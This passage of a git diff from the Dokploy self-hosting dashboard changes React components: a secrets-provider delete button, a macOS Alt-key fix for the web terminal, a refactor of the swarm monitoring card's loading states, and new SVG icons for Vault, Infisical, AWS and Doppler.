+																		onClick={async () => {
+																			await mutateAsync({
+																				vaultProviderId:
+																					provider.vaultProviderId,
+																			})
+																				.then(() => {
+																					toast.success(
+																						"Secrets provider deleted",
+																					);
+																					refetch();
+																				})
+																				.catch(() => {
+																					toast.error(
+																						"Error deleting the secrets provider",
+																					);
+																				});
+																		}}
+																	>
+																		<Button
+																			variant="ghost"
+																			size="icon"
+																			className="group hover:bg-red-500/10"
+																			isLoading={isRemoving}
+																		>
+																			<Trash2 className="size-4 text-primary group-hover:text-red-500" />
+																		</Button>
+																	</DialogAction>
+																)}
+															</div>
+														</div>
+													</div>
+												);
+											})}
+										</div>
+
+										{permissions?.vaultProvider.create && (
+											<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
+												<HandleVaultProvider />
+											</div>
+										)}
+									</div>
+								)}
+							</>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx

@@ -32,7 +32,9 @@ export const TerminalModal = ({
 	serverId,
 	asButton = false,
 }: Props) => {
-	const [terminalKey, setTerminalKey] = useState<string>(getTerminalKey());
+	const [terminalKey, setTerminalKey] = useState<string>(() =>
+		getTerminalKey(),
+	);
 	const [isOpen, setIsOpen] = useState(false);
 	const isLocalServer = serverId === "local";
 

apps/dokploy/components/dashboard/settings/web-server/terminal.tsx

@@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css";
 import { AttachAddon } from "@xterm/addon-attach";
 import { ClipboardAddon } from "@xterm/addon-clipboard";
 import { useTheme } from "next-themes";
+import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
 import { getLocalServerData } from "./local-server-config";
 
 interface Props {
@@ -58,6 +59,7 @@ export const Terminal: React.FC<Props> = ({ id, serverId }) => {
 		const addonAttach = new AttachAddon(ws);
 		const clipboardAddon = new ClipboardAddon();
 		term.loadAddon(clipboardAddon);
+		fixMacOsAltKeys(term);
 
 		// @ts-ignore
 		term.open(termRef.current);

apps/dokploy/components/dashboard/swarm/monitoring-card.tsx

@@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) {
 		serverId,
 	});
 
-	if (isPending) {
-		return (
-			<div className="w-full max-w-7xl mx-auto">
-				<div className="mb-6 border min-h-[55vh] flex rounded-lg h-full items-center justify-center  text-muted-foreground">
-					{/* <div className="flex items-center justify-center h-full text-muted-foreground"> */}
-
-					<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[55vh]">
-						<span>Loading...</span>
-						<Loader2 className="animate-spin size-4" />
-					</div>
-					{/* </div> */}
-				</div>
-			</div>
-		);
-	}
-
-	if (!nodes) {
-		return (
-			<div className="w-full max-w-7xl mx-auto">
-				<div className="mb-6 border min-h-[55vh] flex justify-center items-center rounded-lg h-full">
-					<div className="flex items-center justify-center h-full  text-destructive">
-						<span>Failed to load data</span>
-					</div>
-				</div>
-			</div>
-		);
-	}
-
-	const totalNodes = nodes.length;
-	const activeNodesCount = nodes.filter(
-		(node) => node.Status === "Ready",
-	).length;
-	const managerNodesCount = nodes.filter(
-		(node) =>
-			node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
-	).length;
-	const activeNodes = nodes.filter((node) => node.Status === "Ready");
-	const managerNodes = nodes.filter(
-		(node) =>
-			node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
-	);
+	const totalNodes = nodes?.length ?? 0;
+	const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? [];
+	const managerNodes =
+		nodes?.filter(
+			(node) =>
+				node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
+		) ?? [];
 
 	return (
-		<Card className="h-full bg-sidebar  p-2.5 rounded-xl mx-auto w-full">
+		<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
 			<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
 				<header className="flex items-center flex-wrap gap-4 justify-between">
 					<div className="space-y-1">
@@ -94,93 +60,114 @@ export default function SwarmMonitorCard({ serverId }: Props) {
 					)}
 				</header>
 
-				<div className="grid gap-6 lg:grid-cols-3">
-					<Card className="bg-background">
-						<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
-							<CardTitle className="text-sm font-medium">Total Nodes</CardTitle>
-							<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
-								<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
-							</div>
-						</CardHeader>
-						<CardContent>
-							<div className="text-2xl font-bold">{totalNodes}</div>
-						</CardContent>
-					</Card>
+				{isPending ? (
+					<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
+						<span>Loading...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				) : !nodes ? (
+					<div className="flex items-center justify-center min-h-[45vh] text-destructive">
+						<span>Failed to load data</span>
+					</div>
+				) : (
+					<>
+						<div className="grid gap-6 lg:grid-cols-3">
+							<Card className="bg-background">
+								<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
+									<CardTitle className="text-sm font-medium">
+										Total Nodes
+									</CardTitle>
+									<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
+										<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
+									</div>
+								</CardHeader>
+								<CardContent>
+									<div className="text-2xl font-bold">{totalNodes}</div>
+								</CardContent>
+							</Card>
 
-					<Card className="bg-background">
-						<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
-							<div className="flex items-center gap-2">
-								<CardTitle className="text-sm font-medium">
-									Active Nodes
-								</CardTitle>
-								<Badge variant="green">Online</Badge>
-							</div>
-							<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
-								<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
-							</div>
-						</CardHeader>
-						<CardContent>
-							<TooltipProvider>
-								<Tooltip>
-									<TooltipTrigger>
-										<div className="text-2xl font-bold">
-											{activeNodesCount} / {totalNodes}
-										</div>
-									</TooltipTrigger>
-									<TooltipContent>
-										<div className="max-h-48 overflow-y-auto">
-											{activeNodes.map((node) => (
-												<div key={node.ID} className="flex items-center gap-2">
-													{node.Hostname}
+							<Card className="bg-background">
+								<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
+									<div className="flex items-center gap-2">
+										<CardTitle className="text-sm font-medium">
+											Active Nodes
+										</CardTitle>
+										<Badge variant="green">Online</Badge>
+									</div>
+									<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
+										<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
+									</div>
+								</CardHeader>
+								<CardContent>
+									<TooltipProvider>
+										<Tooltip>
+											<TooltipTrigger>
+												<div className="text-2xl font-bold">
+													{activeNodes.length} / {totalNodes}
 												</div>
-											))}
-										</div>
-									</TooltipContent>
-								</Tooltip>
-							</TooltipProvider>
-						</CardContent>
-					</Card>
-
-					<Card className="bg-background">
-						<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
-							<div className="flex items-center gap-2">
-								<CardTitle className="text-sm font-medium">
-									Manager Nodes
-								</CardTitle>
-								<Badge variant="green">Online</Badge>
-							</div>
-							<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
-								<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
-							</div>
-						</CardHeader>
-						<CardContent>
-							<TooltipProvider>
-								<Tooltip>
-									<TooltipTrigger>
-										<div className="text-2xl font-bold">
-											{managerNodesCount} / {totalNodes}
-										</div>
-									</TooltipTrigger>
-									<TooltipContent>
-										<div className="max-h-48 overflow-y-auto">
-											{managerNodes.map((node) => (
-												<div key={node.ID} className="flex items-center gap-2">
-													{node.Hostname}
+											</TooltipTrigger>
+											<TooltipContent>
+												<div className="max-h-48 overflow-y-auto">
+													{activeNodes.map((node) => (
+														<div
+															key={node.ID}
+															className="flex items-center gap-2"
+														>
+															{node.Hostname}
+														</div>
+													))}
 												</div>
-											))}
-										</div>
-									</TooltipContent>
-								</Tooltip>
-							</TooltipProvider>
-						</CardContent>
-					</Card>
-				</div>
+											</TooltipContent>
+										</Tooltip>
+									</TooltipProvider>
+								</CardContent>
+							</Card>
 
-				<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
-					{nodes.map((node) => (
-						<NodeCard key={node.ID} node={node} serverId={serverId} />
-					))}
-				</div>
+							<Card className="bg-background">
+								<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
+									<div className="flex items-center gap-2">
+										<CardTitle className="text-sm font-medium">
+											Manager Nodes
+										</CardTitle>
+										<Badge variant="green">Online</Badge>
+									</div>
+									<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
+										<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
+									</div>
+								</CardHeader>
+								<CardContent>
+									<TooltipProvider>
+										<Tooltip>
+											<TooltipTrigger>
+												<div className="text-2xl font-bold">
+													{managerNodes.length} / {totalNodes}
+												</div>
+											</TooltipTrigger>
+											<TooltipContent>
+												<div className="max-h-48 overflow-y-auto">
+													{managerNodes.map((node) => (
+														<div
+															key={node.ID}
+															className="flex items-center gap-2"
+														>
+															{node.Hostname}
+														</div>
+													))}
+												</div>
+											</TooltipContent>
+										</Tooltip>
+									</TooltipProvider>
+								</CardContent>
+							</Card>
+						</div>
+
+						<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
+							{nodes.map((node) => (
+								<NodeCard key={node.ID} node={node} serverId={serverId} />
+							))}
+						</div>
+					</>
+				)}
 			</div>
 		</Card>
 	);

apps/dokploy/components/icons/vault-provider-icons.tsx

@@ -0,0 +1,580 @@
+interface Props {
+	className?: string;
+}
+
+export const HashicorpVaultIcon = ({ className }: Props) => (
+	<svg
+		viewBox="0 0 24 24"
+		fill="currentColor"
+		xmlns="http://www.w3.org/2000/svg"
+		className={className}
+	>
+		<path d="M0 0l11.955 24L24 0zm13.366 4.827h1.393v1.38h-1.393zm-2.77 5.569H9.22V8.993h1.389zm0-2.087H9.22V6.906h1.389zm0-2.086H9.22V4.819h1.389zm2.087 6.263h-1.377V11.08h1.388zm0-2.09h-1.377V8.993h1.388zm0-2.087h-1.377V6.906h1.388zm0-2.086h-1.377V4.819h1.388zm.683.683h1.393v1.389h-1.393zm0 3.475V8.993h1.389v1.388Z" />
+	</svg>
+);
+
+export const InfisicalIcon = ({ className }: Props) => (
+	<svg
+		viewBox="0 0 91 43"
+		fill="none"
+		xmlns="http://www.w3.org/2000/svg"
+		className={className}
+	>
+		<path
+			d="M21.9734 0C24.8526 0 27.4793 0.412021 29.8535 1.23606C32.2528 2.06011 34.4123 3.13386 36.3318 4.45732C38.2766 5.75581 39.9814 7.10424 41.4463 8.50261C42.2545 9.25174 42.987 9.98839 43.6436 10.7125C44.3003 11.4367 44.9317 12.1609 45.5379 12.885C46.0935 12.1609 46.6618 11.4617 47.2427 10.7875C47.8489 10.0883 48.6066 9.32665 49.5158 8.50261C51.7132 6.38008 54.4409 4.43235 57.699 2.65941C60.9824 0.886471 64.7835 0 69.1024 0C73.1435 0 76.8183 0.97387 80.127 2.92161C83.4609 4.84437 86.1002 7.42886 88.045 10.6751C90.015 13.9213 91 17.5171 91 21.4625C91 24.4591 90.4317 27.2683 89.2952 29.8902C88.1586 32.4872 86.5927 34.7721 84.5974 36.7448C82.6021 38.6925 80.2785 40.2282 77.6266 41.3519C74.9746 42.4506 72.1332 43 69.1024 43C66.2231 43 63.5712 42.6005 61.1465 41.8014C58.7472 40.9774 56.5751 39.9286 54.6303 38.6551C52.7108 37.3815 51.0186 36.0706 49.5537 34.7221C48.7202 33.8981 47.9752 33.124 47.3185 32.3998C46.6871 31.6507 46.0935 30.9141 45.5379 30.1899C44.9065 30.9141 44.2624 31.6507 43.6057 32.3998C42.9491 33.149 42.2166 33.9231 41.4084 34.7221C39.9688 36.0706 38.2766 37.3815 36.3318 38.6551C34.4123 39.9036 32.2528 40.9399 29.8535 41.7639C27.4793 42.588 24.8526 43 21.9734 43C17.8818 43 14.1817 42.0386 10.873 40.1159C7.56439 38.1931 4.92506 35.6086 2.95504 32.3624C0.985013 29.0912 0 25.4579 0 21.4625C0 18.491 0.555648 15.7192 1.66694 13.1472C2.8035 10.5502 4.36941 8.26539 6.3647 6.29269C8.38523 4.31998 10.7215 2.78427 13.3734 1.68554C16.0507 0.561848 18.9173 0 21.9734 0ZM10.4563 21.4625C10.4563 23.5351 10.974 25.4204 12.0096 27.1185C13.0451 28.8165 14.4342 30.1649 16.1769 31.1638C17.9197 32.1626 19.8518 32.662 21.9734 32.662C24.3475 32.662 26.5322 32.1376 28.5275 31.0889C30.5228 30.0401 32.3791 28.7166 34.0966 27.1185C35.1826 26.0947 36.1171 25.1083 36.9001 24.1594C37.683 23.2105 38.365 22.3116 38.9459 21.4625C38.3397 20.6635 37.6199 19.777 36.7864 18.8031C35.9782 17.8043 35.0816 16.8554 34.0966 15.9564C32.4802 14.3833 30.649 13.0598 28.6032 11.9861C26.5575 10.8873 24.3475 10.338 21.9734 10.338C19.8518 10.338 17.9197 10.8499 16.1769 11.8737C14.4342 12.8725 13.0451 14.221 12.0096 15.919C10.974 17.592 10.4563 19.4399 10.4563 21.4625ZM80.4679 21.4625C80.4679 19.4399 79.9502 17.592 78.9146 15.919C77.9044 14.221 76.5405 12.8725 74.8231 11.8737C73.1056 10.8499 71.1987 10.338 69.1024 10.338C67.486 10.338 65.9453 10.5877 64.4804 11.0871C63.0155 11.5865 61.639 12.2607 60.351 13.1098C59.0881 13.9588 57.9263 14.9077 56.8655 15.9564C55.729 17.0052 54.7313 18.079 53.8726 19.1777C53.0139 20.2515 52.3951 21.0131 52.0162 21.4625C52.6477 22.3365 53.3549 23.248 54.1378 24.1969C54.9208 25.1208 55.83 26.0947 56.8655 27.1185C58.5577 28.7166 60.4015 30.0401 62.3968 31.0889C64.4173 32.1376 66.6525 32.662 69.1024 32.662C71.1987 32.662 73.1056 32.1626 74.8231 31.1638C76.5405 30.1649 77.9044 28.8165 78.9146 27.1185C79.9502 25.4204 80.4679 23.5351 80.4679 21.4625Z"
+			fill="currentColor"
+		/>
+	</svg>
+);
+
+export const AwsIcon = ({ className }: Props) => (
+	<svg
+		viewBox="0 0 304 182"
+		xmlns="http://www.w3.org/2000/svg"
+		className={className}
+	>
+		<path
+			fill="currentColor"
+			d="m86 66 2 9c0 3 1 5 3 8v2l-1 3-7 4-2 1-3-1-4-5-3-6c-8 9-18 14-29 14-9 0-16-3-20-8-5-4-8-11-8-19s3-15 9-20c6-6 14-8 25-8a79 79 0 0 1 22 3v-7c0-8-2-13-5-16-3-4-8-5-16-5l-11 1a80 80 0 0 0-14 5h-2c-1 0-2-1-2-3v-5l1-3c0-1 1-2 3-2l12-5 16-2c12 0 20 3 26 8 5 6 8 14 8 25v32zM46 82l10-2c4-1 7-4 10-7l3-6 1-9v-4a84 84 0 0 0-19-2c-6 0-11 1-15 4-3 2-4 6-4 11s1 8 3 11c3 2 6 4 11 4zm80 10-4-1-2-3-23-78-1-4 2-2h10l4 1 2 4 17 66 15-66 2-4 4-1h8l4 1 2 4 16 67 17-67 2-4 4-1h9c2 0 3 1 3 2v2l-1 2-24 78-2 4-4 1h-9l-4-1-1-4-16-65-15 64-2 4-4 1h-9zm129 3a66 66 0 0 1-27-6l-3-3-1-2v-5c0-2 1-3 2-3h2l3 1a54 54 0 0 0 23 5c6 0 11-2 14-4 4-2 5-5 5-9l-2-7-10-5-15-5c-7-2-13-6-16-10a24 24 0 0 1 5-34l10-5a44 44 0 0 1 20-2 110 110 0 0 1 12 3l4 2 3 2 1 4v4c0 3-1 4-2 4l-4-2c-6-2-12-3-19-3-6 0-11 0-14 2s-4 5-4 9c0 3 1 5 3 7s5 4 11 6l14 4c7 3 12 6 15 10s5 9 5 14l-3 12-7 8c-3 3-7 5-11 6l-14 2z"
+		/>
+		<path
+			d="M274 144A220 220 0 0 1 4 124c-4-3-1-6 2-4a300 300 0 0 0 263 16c5-2 10 4 5 8z"
+			fill="#f90"
+		/>
+		<path
+			d="M287 128c-4-5-28-3-38-1-4 0-4-3-1-5 19-13 50-9 53-5 4 5-1 36-18 51-3 2-6 1-5-2 5-10 13-33 9-38z"
+			fill="#f90"
+		/>
+	</svg>
+);
+
+export const DopplerIcon = ({ className }: Props) => (
+	<svg
+		viewBox="0 0 101 100"
+		fill="none"
+		xmlns="http://www.w3.org/2000/svg"
+		className={className}
+	>
+		<path
+			d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
+			fill="url(#paint0_linear_1068_18455)"
+		/>
+		<path
+			d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
+			fill="url(#paint1_linear_1068_18455)"
+			fill-opacity="0.46"
+		/>
+		<path
+			d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
+			fill="url(#paint2_linear_1068_18455)"
+			fill-opacity="0.66"
+		/>
+		<path
+			d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
+			fill="url(#paint3_linear_1068_18455)"
+			fill-opacity="0.67"
+		/>
+		<path
+			d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
+			fill="url(#paint4_linear_1068_18455)"
+		/>
+		<path
+			d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
+			fill="url(#paint5_radial_1068_18455)"
+			fill-opacity="0.94"
+		/>
+		<path
+			d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
+			fill="url(#paint6_radial_1068_18455)"
+			fill-opacity="0.1"
+		/>
+		<path
+			d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
+			fill="url(#paint7_linear_1068_18455)"
+		/>
+		<path
+			d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
+			fill="url(#paint8_linear_1068_18455)"
+			fill-opacity="0.46"
+		/>
+		<path
+			d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
+			fill="url(#paint9_linear_1068_18455)"
+			fill-opacity="0.66"
+		/>
+		<path
+			d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
+			fill="url(#paint10_linear_1068_18455)"
+			fill-opacity="0.67"
+		/>
+		<path
+			d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
+			fill="url(#paint11_linear_1068_18455)"
+		/>
+		<path
+			d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
+			fill="url(#paint12_radial_1068_18455)"
+			fill-opacity="0.94"
+		/>
+		<path
+			d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
+			fill="url(#paint13_radial_1068_18455)"
+			fill-opacity="0.1"
+		/>
+		<path
+			d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
+			fill="url(#paint14_linear_1068_18455)"
+		/>
+		<path
+			d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
+			fill="url(#paint15_linear_1068_18455)"
+			fill-opacity="0.46"
+		/>
+		<path
+			d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
+			fill="url(#paint16_linear_1068_18455)"
+			fill-opacity="0.66"
+		/>
+		<path
+			d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
+			fill="url(#paint17_linear_1068_18455)"
+			fill-opacity="0.67"
+		/>
+		<path
+			d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
+			fill="url(#paint18_linear_1068_18455)"
+		/>
+		<path
+			d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
+			fill="url(#paint19_radial_1068_18455)"
+			fill-opacity="0.94"
+		/>
+		<path
+			d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
+			fill="url(#paint20_radial_1068_18455)"
+			fill-opacity="0.1"
+		/>
+		<path
+			d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
+			fill="url(#paint21_linear_1068_18455)"
+		/>
+		<path
+			d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
+			fill="url(#paint22_linear_1068_18455)"
+			fill-opacity="0.46"
+		/>
+		<path
+			d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
+			fill="url(#paint23_linear_1068_18455)"
+			fill-opacity="0.66"
+		/>
+		<path
+			d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
+			fill="url(#paint24_linear_1068_18455)"
+			fill-opacity="0.67"
+		/>
+		<path
+			d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
+			fill="url(#paint25_linear_1068_18455)"
+		/>
+		<path
+			d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
+			fill="url(#paint26_radial_1068_18455)"
+			fill-opacity="0.94"
+		/>
+		<path
